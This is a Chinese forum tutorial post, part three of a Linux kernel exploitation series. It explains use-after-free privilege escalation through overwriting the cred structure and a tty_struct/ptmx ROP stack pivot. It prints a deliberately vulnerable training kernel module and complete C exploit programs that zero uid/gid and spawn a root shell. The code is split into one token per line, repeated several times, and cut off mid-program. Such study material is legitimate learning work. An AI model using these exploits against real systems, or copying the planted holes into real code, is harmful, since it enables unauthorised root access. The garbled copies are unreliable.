-
-
[原创]Kernel从0开始(三)
-
发表于: 2021-11-2 12:08 29284
-
这里就尝试用堆来解题,由于kernel的解法多种多样,这里我们从最简单的UAF入手
给出自己设计的堆题目,存在很多的漏洞,read越界读,edit越界写,UAF,Double Free等:
由于是UAF漏洞,所以直接尝试再重启一个进程,这样新进程启动时就会申请一个Cred结构体(这里大小为0xa8)。而如果此时申请的结构体恰好落在我们释放过的堆块上,那么我们就可以利用UAF漏洞修改Cred结构体,将其uid和gid改为0,再利用该进程原地起shell,就能获得root权限的shell了。
这里同样需要一点前置知识,之前也写过类似的,其实就相当于修改某个进程的cred结构体中的uid和gid就能将该进程提权了,之后利用提权后的进程起shell得到的shell就是提权后的shell。
比较简单,这里直接给
这里还需要说明的是,cred结构体大小在我编译的4.4.72中为0xa8,在不同内核版本可能不同,通常可以查看对应版本的Linux内核源码或者写个简便的C程序运行一下即可知道。
前面我们的UAF是正常的指针未置空的UAF,但如果在程序中是add函数申请chunk,只有在关闭设备时才会释放chunk。那么这样当我们对一个设备进行操作时,只有在关闭设备时才能释放chunk,这就无法显著地造成UAF。但是如果能够对同一个设备打开两次 (操作符分别为fd1,fd2) ,申请一个堆块后,关闭掉第一个设备fd1后,就能释放该堆块。之后利用fd2继续对设备进行写操作,就能够继续修改释放掉的堆块了,这样就造成了一个UAF漏洞。同样也是利用cred结构体进行提权。
同样直接给出poc即可
这个真是调了我无敌久。
entry_SYSCALL_64
->SyS_write
->SYSC_write
->vfs_write
->__vfs_write
->tty_write
->do_tty_write
->n_tty_write
->pty_write
这里我们需要的就是劫持某个结构体,从而使得原本通过该结构体调用pty_write
函数指针变为调用我们的ROP链条。
由于用户空间和内核空间得返回进入需要用到栈,所以一般需要进行栈劫持,这里我们可以看到当通过ptmx进入其write函数时,rax为从tty_struct中获取的operations ops指针,而此时该指针已经被我们劫持了,所以如果有类似于mov rsp,rax之类的gadget就能将栈劫持到我们可控的operations ops指针指向的内存处,那么之后就很容易进行内核和用户空间的转换。
这里就用到常用的一个gadget
movRspRax_decEbx_ret
这个之前也是讲过的
当我们打开ptmx设备时,会使用kmalloc申请这个tty_struct结构,如果存在一个UAF漏洞,那么就可以将该tty_struct申请为我们释放掉的一个chunk,其中重要的是int magic;和const struct tty_operations *ops;这两个结构体成员。
这个在网上很多人都直接将其设置为0,但是在某些版本中,如果直接设置为0,通常可能出现以下的错误:
也就是magic number检测错误,这个经过调试可以发现,实际申请结构体之后是不变的:
可以得到如下的数值
这个在后面的数值设置中可以用到,需要我们来调试才可以,不然其实如果直接设置为0也容易出错。
另外其中的driver可以设置为0,所以一般直接设置tty_struct[3]和tty_struct[0]即可。
这个const struct tty_operations *ops结构体指针在该做法里被劫持为我们设置fake_operations指针,有如下结构体,设置fake_operations中的write函数指针为ROP链条,就可以通过调用ptmx设备中的write函数,从而调用到我们设置的ROP链条。
这里还得说一下执行流程,比较不好调试
即先是依据write函数跳转到我们最开始设置的gadget,也就是movRspRax_decEbx_ret,然后将栈劫持为fake_tty_operations。之后再跳转到pop_rax_rbx_r12_r13_rbp_ret,将ROP赋值给rax,再ret到
movRspRax_decEbx_ret,再将栈劫持为ROP,之后就ret到ROP链条中的pop_rdi_ret了,之后执行流可控。
swapgs;ret没有时,可以用加上pop的,只要最后ret到iretq即可。同样的gadget可以相互转换。
iretq类似于ret,直接一个指令即可。
寄存器保存需要在进入内核之前。
堆块申请时的规则需要是GFP_KERNEL
才行,至少GFP_DMA
不行。
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>
/
/
设备驱动常用变量
/
/
static char
*
buffer_var
=
NULL;
static char
*
buffer_var
=
NULL;
static struct
class
*
devClass;
/
/
Global variable
for
the device
class
static struct cdev cdev;
static dev_t stack_dev_no;
struct note
{
int
idx;
int
len
;
char
*
data;
};
/
/
static char
*
notelist[
1000
];
static char
*
notelist[
1000
];
static struct note
*
noteChunk;
static
int
count
=
0
;
static ssize_t stack_read(struct
file
*
filp, const char __user
*
buf,
size_t
len
, loff_t
*
f_pos);
static ssize_t stack_write(struct
file
*
filp, const char __user
*
buf,
size_t
len
, loff_t
*
f_pos);
static
long
stack_ioctl(struct
file
*
filp, unsigned
int
cmd, unsigned
long
arg);
static
int
stack_open(struct inode
*
i, struct
file
*
f);
static
int
stack_close(struct inode
*
i, struct
file
*
f);
static struct file_operations stack_fops
=
{
.owner
=
THIS_MODULE,
.
open
=
stack_open,
.release
=
stack_close,
.write
=
stack_write,
.read
=
stack_read,
.unlocked_ioctl
=
stack_ioctl
};
/
/
设备驱动模块加载函数
static
int
__init stack_init(void)
{
printk(KERN_INFO
"[i] Module stack registered"
);
if
(alloc_chrdev_region(&stack_dev_no,
0
,
1
,
"stack"
) <
0
)
{
return
-
1
;
}
if
((devClass
=
class_create(THIS_MODULE,
"chardrv"
))
=
=
NULL)
{
unregister_chrdev_region(stack_dev_no,
1
);
return
-
1
;
}
if
(device_create(devClass, NULL, stack_dev_no, NULL,
"stack"
)
=
=
NULL)
{
printk(KERN_INFO
"[i] Module stack error"
);
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no,
1
);
return
-
1
;
}
cdev_init(&cdev, &stack_fops);
if
(cdev_add(&cdev, stack_dev_no,
1
)
=
=
-
1
)
{
device_destroy(devClass, stack_dev_no);
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no,
1
);
return
-
1
;
}
printk(KERN_INFO
"[i] <Major, Minor>: <%d, %d>\n"
, MAJOR(stack_dev_no), MINOR(stack_dev_no));
return
0
;
}
/
/
设备驱动模块卸载函数
static void __exit stack_exit(void)
{
/
/
释放占用的设备号
unregister_chrdev_region(stack_dev_no,
1
);
cdev_del(&cdev);
}
/
/
读设备
ssize_t stack_read(struct
file
*
filp, const char __user
*
buf,
size_t
len
, loff_t
*
f_pos)
{
printk(KERN_INFO
"Stack_read function"
);
copy_to_user(buf,buffer_var,
len
);
}
/
/
写设备
ssize_t stack_write(struct
file
*
filp, const char __user
*
buf,
size_t
len
, loff_t
*
f_pos)
/
/
buffer
overflow
{
printk(KERN_INFO
"Stack_write function"
);
copy_from_user(buffer_var, buf,
len
);
printk(
"[i] Module stack write: %s\n"
,buffer_var);
return
len
;
}
/
/
ioctl函数命令控制
long
stack_ioctl(struct
file
*
filp, unsigned
int
cmd, unsigned
long
arg)
{
char
*
chunk
=
NULL;
int
retval
=
0
;
printk(KERN_INFO
"Ioctl Get!\n"
);
printk(
"notelist_addr:0x%llx\n"
,¬elist[
0
]);
switch (cmd) {
case
1
:
/
/
add
/
/
noteChunk
=
(char
*
)kmalloc(sizeof(struct Note),GFP_KERNEL);
/
/
copy_from_user(noteChunk, arg, sizeof(struct Note));
printk(
"Kernel Add function!---001\n"
);
noteChunk
=
(struct Note
*
)arg;
chunk
=
(char
*
)kmalloc(noteChunk
-
>
len
,GFP_KERNEL);
printk(
"chunk_addr:0x%llx\n"
,chunk);
if
(!chunk)
{
printk(
"Alloca Error\n"
);
return
0
;
}
memcpy(chunk, noteChunk
-
>data,noteChunk
-
>
len
);
notelist[count]
=
chunk;
chunk
=
NULL;
count
+
+
;
printk(
"Add Success!\n"
);
break
;
case
888
:
/
/
free without clean point
and
data
printk(
"Kernel Free function!---888\n"
);
noteChunk
=
(struct Note
*
)arg;
printk(
"notelist:0x%llx\n"
,notelist[noteChunk
-
>idx]);
if
(notelist[noteChunk
-
>idx])
{
kfree(notelist[noteChunk
-
>idx]);
/
/
notelist[noteChunk
-
>idx]
=
NULL;
printk(
"Free Success!\n"
);
}
else
{
printk(
"You can't free it!There is no chunk!\n"
);
}
break
;
case
3
:
/
/
edit
/
/
UAF
and
overflow
printk(
"Kernel Edit function!---003\n"
);
noteChunk
=
(struct Note
*
)arg;
if
(notelist[noteChunk
-
>idx])
{
memcpy(notelist[noteChunk
-
>idx], noteChunk
-
>data,noteChunk
-
>
len
);
printk(
"Edit Success!\n"
);
}
else
{
printk(
"You can't edit it!There is no chunk!\n"
);
}
break
;
case
4
:
/
/
read
/
/
over read
printk(
"Kernel Read function!---004\n"
);
noteChunk
=
(struct Note
*
)arg;
if
(notelist[noteChunk
-
>idx]){
copy_to_user(noteChunk
-
>data,notelist[noteChunk
-
>idx],noteChunk
-
>
len
);
printk(
"Read Success!\n"
);
}
break
;
case
111
:
/
/
Test add chunk
printk(
"Test add chunk!---111\n"
);
printk(KERN_INFO
"No buffer_var!Malloc now!"
);
buffer_var
=
(char
*
)kmalloc(
0xa8
,GFP_KERNEL);
printk(
"buffer_var:0x%llx\n"
,buffer_var);
break
;
default:
retval
=
-
1
;
break
;
}
return
retval;
}
static
int
stack_open(struct inode
*
i, struct
file
*
f)
{
printk(KERN_INFO
"[i] Module stack: open()\n"
);
return
0
;
}
static
int
stack_close(struct inode
*
i, struct
file
*
f)
{
kfree(buffer_var);
/
/
buffer_var
=
NULL;
printk(KERN_INFO
"[i] Module stack: close()\n"
);
return
0
;
}
module_init(stack_init);
module_exit(stack_exit);
MODULE_LICENSE(
"GPL"
);
/
/
MODULE_AUTHOR(
"blackndoor"
);
/
/
MODULE_DESCRIPTION(
"Module vuln overflow"
);
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>
/
/
设备驱动常用变量
/
/
static char
*
buffer_var
=
NULL;
static char
*
buffer_var
=
NULL;
static struct
class
*
devClass;
/
/
Global variable
for
the device
class
static struct cdev cdev;
static dev_t stack_dev_no;
struct note
{
int
idx;
int
len
;
char
*
data;
};
/
/
static char
*
notelist[
1000
];
static char
*
notelist[
1000
];
static struct note
*
noteChunk;
static
int
count
=
0
;
static ssize_t stack_read(struct
file
*
filp, const char __user
*
buf,
size_t
len
, loff_t
*
f_pos);
static ssize_t stack_write(struct
file
*
filp, const char __user
*
buf,
size_t
len
, loff_t
*
f_pos);
static
long
stack_ioctl(struct
file
*
filp, unsigned
int
cmd, unsigned
long
arg);
static
int
stack_open(struct inode
*
i, struct
file
*
f);
static
int
stack_close(struct inode
*
i, struct
file
*
f);
static struct file_operations stack_fops
=
{
.owner
=
THIS_MODULE,
.
open
=
stack_open,
.release
=
stack_close,
.write
=
stack_write,
.read
=
stack_read,
.unlocked_ioctl
=
stack_ioctl
};
/
/
设备驱动模块加载函数
static
int
__init stack_init(void)
{
printk(KERN_INFO
"[i] Module stack registered"
);
if
(alloc_chrdev_region(&stack_dev_no,
0
,
1
,
"stack"
) <
0
)
{
return
-
1
;
}
if
((devClass
=
class_create(THIS_MODULE,
"chardrv"
))
=
=
NULL)
{
unregister_chrdev_region(stack_dev_no,
1
);
return
-
1
;
}
if
(device_create(devClass, NULL, stack_dev_no, NULL,
"stack"
)
=
=
NULL)
{
printk(KERN_INFO
"[i] Module stack error"
);
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no,
1
);
return
-
1
;
}
cdev_init(&cdev, &stack_fops);
if
(cdev_add(&cdev, stack_dev_no,
1
)
=
=
-
1
)
{
device_destroy(devClass, stack_dev_no);
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no,
1
);
return
-
1
;
}
printk(KERN_INFO
"[i] <Major, Minor>: <%d, %d>\n"
, MAJOR(stack_dev_no), MINOR(stack_dev_no));
return
0
;
}
/
/
设备驱动模块卸载函数
static void __exit stack_exit(void)
{
/
/
释放占用的设备号
unregister_chrdev_region(stack_dev_no,
1
);
cdev_del(&cdev);
}
/
/
读设备
ssize_t stack_read(struct
file
*
filp, const char __user
*
buf,
size_t
len
, loff_t
*
f_pos)
{
printk(KERN_INFO
"Stack_read function"
);
copy_to_user(buf,buffer_var,
len
);
}
/
/
写设备
ssize_t stack_write(struct
file
*
filp, const char __user
*
buf,
size_t
len
, loff_t
*
f_pos)
/
/
buffer
overflow
{
printk(KERN_INFO
"Stack_write function"
);
copy_from_user(buffer_var, buf,
len
);
printk(
"[i] Module stack write: %s\n"
,buffer_var);
return
len
;
}
/
/
ioctl函数命令控制
long
stack_ioctl(struct
file
*
filp, unsigned
int
cmd, unsigned
long
arg)
{
char
*
chunk
=
NULL;
int
retval
=
0
;
printk(KERN_INFO
"Ioctl Get!\n"
);
printk(
"notelist_addr:0x%llx\n"
,¬elist[
0
]);
switch (cmd) {
case
1
:
/
/
add
/
/
noteChunk
=
(char
*
)kmalloc(sizeof(struct Note),GFP_KERNEL);
/
/
copy_from_user(noteChunk, arg, sizeof(struct Note));
printk(
"Kernel Add function!---001\n"
);
noteChunk
=
(struct Note
*
)arg;
chunk
=
(char
*
)kmalloc(noteChunk
-
>
len
,GFP_KERNEL);
printk(
"chunk_addr:0x%llx\n"
,chunk);
if
(!chunk)
{
printk(
"Alloca Error\n"
);
return
0
;
}
memcpy(chunk, noteChunk
-
>data,noteChunk
-
>
len
);
notelist[count]
=
chunk;
chunk
=
NULL;
count
+
+
;
printk(
"Add Success!\n"
);
break
;
case
888
:
/
/
free without clean point
and
data
printk(
"Kernel Free function!---888\n"
);
noteChunk
=
(struct Note
*
)arg;
printk(
"notelist:0x%llx\n"
,notelist[noteChunk
-
>idx]);
if
(notelist[noteChunk
-
>idx])
{
kfree(notelist[noteChunk
-
>idx]);
/
/
notelist[noteChunk
-
>idx]
=
NULL;
printk(
"Free Success!\n"
);
}
else
{
printk(
"You can't free it!There is no chunk!\n"
);
}
break
;
case
3
:
/
/
edit
/
/
UAF
and
overflow
printk(
"Kernel Edit function!---003\n"
);
noteChunk
=
(struct Note
*
)arg;
if
(notelist[noteChunk
-
>idx])
{
memcpy(notelist[noteChunk
-
>idx], noteChunk
-
>data,noteChunk
-
>
len
);
printk(
"Edit Success!\n"
);
}
else
{
printk(
"You can't edit it!There is no chunk!\n"
);
}
break
;
case
4
:
/
/
read
/
/
over read
printk(
"Kernel Read function!---004\n"
);
noteChunk
=
(struct Note
*
)arg;
if
(notelist[noteChunk
-
>idx]){
copy_to_user(noteChunk
-
>data,notelist[noteChunk
-
>idx],noteChunk
-
>
len
);
printk(
"Read Success!\n"
);
}
break
;
case
111
:
/
/
Test add chunk
printk(
"Test add chunk!---111\n"
);
printk(KERN_INFO
"No buffer_var!Malloc now!"
);
buffer_var
=
(char
*
)kmalloc(
0xa8
,GFP_KERNEL);
printk(
"buffer_var:0x%llx\n"
,buffer_var);
break
;
default:
retval
=
-
1
;
break
;
}
return
retval;
}
static
int
stack_open(struct inode
*
i, struct
file
*
f)
{
printk(KERN_INFO
"[i] Module stack: open()\n"
);
return
0
;
}
static
int
stack_close(struct inode
*
i, struct
file
*
f)
{
kfree(buffer_var);
/
/
buffer_var
=
NULL;
printk(KERN_INFO
"[i] Module stack: close()\n"
);
return
0
;
}
module_init(stack_init);
module_exit(stack_exit);
MODULE_LICENSE(
"GPL"
);
/
/
MODULE_AUTHOR(
"blackndoor"
);
/
/
MODULE_DESCRIPTION(
"Module vuln overflow"
);
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
struct addNote
{
size_t
len
;
char
*
data;
};
struct editNote
{
size_t idx;
size_t
len
;
char
*
data;
};
/
/
open
dev
int
openDev(char
*
pos);
void addFun(
int
fd,struct addNote
*
arg);
void freeFun(
int
fd,struct editNote
*
arg);
void editFun(
int
fd,struct editNote
*
arg);
void readFun(
int
fd,struct editNote
*
arg);
int
main(
int
argc, char
*
argv[])
{
int
fd;
int
idFork;
unsigned
long
memOffset;
struct addNote addChunk;
struct editNote readChunk;
struct editNote editChunk;
/
/
open
Dev
char
*
pos
=
"/dev/stack"
;
fd
=
openDev(pos);
char credBuf[
0xa8
]
=
{
0
};
addChunk.
len
=
0xa8
;
addChunk.data
=
credBuf;
addFun(fd,&addChunk);
editChunk.idx
=
0
;
freeFun(fd,&editChunk);
idFork
=
fork();
editChunk.data
=
credBuf;
editChunk.
len
=
28
;
if
(idFork
=
=
0
){
/
/
get into
28
*
0
to
set
uid
and
gid
0
editFun(fd,&editChunk);
if
(getuid()
=
=
0
){
printf(
"[*]welcome root:\n"
);
system(
"/bin/sh"
);
return
0
;
}
}
else
if
(idFork <
0
){
printf(
"[*]fork fail\n"
);
}
else
{
wait(NULL);
}
return
0
;
}
int
openDev(char
*
pos){
int
fd;
printf(
"[+] Open %s...\n"
,pos);
if
((fd
=
open
(pos, O_RDWR)) <
0
) {
printf(
" Can't open device file: %s\n"
,pos);
exit(
1
);
}
return
fd;
}
void addFun(
int
fd, struct addNote
*
arg)
{
ioctl(fd,
1
,arg);
}
void freeFun(
int
fd, struct editNote
*
arg)
{
ioctl(fd,
888
,arg);
}
void editFun(
int
fd, struct editNote
*
arg)
{
ioctl(fd,
3
,arg);
}
void readFun(
int
fd, struct editNote
*
arg)
{
ioctl(fd,
4
,arg);
}
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
struct addNote
{
size_t
len
;
char
*
data;
};
struct editNote
{
size_t idx;
size_t
len
;
char
*
data;
};
/
/
open
dev
int
openDev(char
*
pos);
void addFun(
int
fd,struct addNote
*
arg);
void freeFun(
int
fd,struct editNote
*
arg);
void editFun(
int
fd,struct editNote
*
arg);
void readFun(
int
fd,struct editNote
*
arg);
int
main(
int
argc, char
*
argv[])
{
int
fd;
int
idFork;
unsigned
long
memOffset;
struct addNote addChunk;
struct editNote readChunk;
struct editNote editChunk;
/
/
open
Dev
char
*
pos
=
"/dev/stack"
;
fd
=
openDev(pos);
char credBuf[
0xa8
]
=
{
0
};
addChunk.
len
=
0xa8
;
addChunk.data
=
credBuf;
addFun(fd,&addChunk);
editChunk.idx
=
0
;
freeFun(fd,&editChunk);
idFork
=
fork();
editChunk.data
=
credBuf;
editChunk.
len
=
28
;
if
(idFork
=
=
0
){
/
/
get into
28
*
0
to
set
uid
and
gid
0
editFun(fd,&editChunk);
if
(getuid()
=
=
0
){
printf(
"[*]welcome root:\n"
);
system(
"/bin/sh"
);
return
0
;
}
}
else
if
(idFork <
0
){
printf(
"[*]fork fail\n"
);
}
else
{
wait(NULL);
}
return
0
;
}
int
openDev(char
*
pos){
int
fd;
printf(
"[+] Open %s...\n"
,pos);
if
((fd
=
open
(pos, O_RDWR)) <
0
) {
printf(
" Can't open device file: %s\n"
,pos);
exit(
1
);
}
return
fd;
}
void addFun(
int
fd, struct addNote
*
arg)
{
ioctl(fd,
1
,arg);
}
void freeFun(
int
fd, struct editNote
*
arg)
{
ioctl(fd,
888
,arg);
}
void editFun(
int
fd, struct editNote
*
arg)
{
ioctl(fd,
3
,arg);
}
void readFun(
int
fd, struct editNote
*
arg)
{
ioctl(fd,
4
,arg);
}
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
struct addNote
{
size_t
len
;
char
*
data;
};
struct editNote
{
size_t idx;
size_t
len
;
char
*
data;
};
/
/
open
dev
int
openDev(char
*
pos);
void addFun(
int
fd,struct addNote
*
arg);
void freeFun(
int
fd,struct editNote
*
arg);
void editFun(
int
fd,struct editNote
*
arg);
void readFun(
int
fd,struct editNote
*
arg);
int
main(
int
argc, char
*
argv[])
{
int
fd1,fd2;
int
idFork,idBefore;
unsigned
long
memOffset;
struct addNote addChunk;
struct editNote readChunk;
struct editNote editChunk;
/
/
char
*
mycred;
/
/
mycred
=
current_user_ns();
/
/
printf(
"Cred_addr:0x%llx\n"
,mycred);
/
/
open
Dev
char
*
pos
=
"/dev/stack"
;
char credBuf[
0xa8
]
=
{
0
};
fd1
=
openDev(pos);
fd2
=
openDev(pos);
ioctl(fd1,
111
,editChunk);
/
/
test add
close(fd1);
idFork
=
fork();
printf(
"idFork:%d\n"
,idFork);
if
(idFork
=
=
0
){
/
/
get into
28
*
0
to
set
uid
and
gid
0
idBefore
=
getuid();
printf(
"Before uid:%d\n"
,idBefore);
write(fd2, credBuf,
28
);
if
(getuid()
=
=
0
){
printf(
"[*]welcome root:\n"
);
system(
"/bin/sh"
);
return
0
;
}
}
else
if
(idFork <
0
){
printf(
"[*]fork fail\n"
);
}
else
{
wait(NULL);
}
return
0
;
}
int
openDev(char
*
pos){
int
fd;
printf(
"[+] Open %s...\n"
,pos);
if
((fd
=
open
(pos, O_RDWR)) <
0
) {
printf(
" Can't open device file: %s\n"
,pos);
exit(
1
);
}
return
fd;
}
void addFun(
int
fd, struct addNote
*
arg)
{
ioctl(fd,
1
,arg);
}
void freeFun(
int
fd, struct editNote
*
arg)
{
ioctl(fd,
888
,arg);
}
void editFun(
int
fd, struct editNote
*
arg)
{
ioctl(fd,
3
,arg);
}
void readFun(
int
fd, struct editNote
*
arg)
{
ioctl(fd,
4
,arg);
}
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
struct addNote
{
size_t
len
;
char
*
data;
};
struct editNote
{
size_t idx;
size_t
len
;
char
*
data;
};
/
/
open
dev
int
openDev(char
*
pos);
void addFun(
int
fd,struct addNote
*
arg);
void freeFun(
int
fd,struct editNote
*
arg);
void editFun(
int
fd,struct editNote
*
arg);
void readFun(
int
fd,struct editNote
*
arg);
int
main(
int
argc, char
*
argv[])
{
int
fd1,fd2;
int
idFork,idBefore;
unsigned
long
memOffset;
struct addNote addChunk;
struct editNote readChunk;
struct editNote editChunk;
/
/
char
*
mycred;
/
/
mycred
=
current_user_ns();
/
/
printf(
"Cred_addr:0x%llx\n"
,mycred);
/
/
open
Dev
char
*
pos
=
"/dev/stack"
;
char credBuf[
0xa8
]
=
{
0
};
fd1
=
openDev(pos);
fd2
=
openDev(pos);
ioctl(fd1,
111
,editChunk);
/
/
test add
close(fd1);
idFork
=
fork();
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
- [原创]CVE-2021-22555_Netfilter堆溢出提权漏洞 22494
- [原创]Kernel从0开始(四) 28196
- [原创]Kernel从0开始(三) 29285
- [原创]Kernel从0开始(二) 32484
- [原创]Kernel从0开始(一) 45048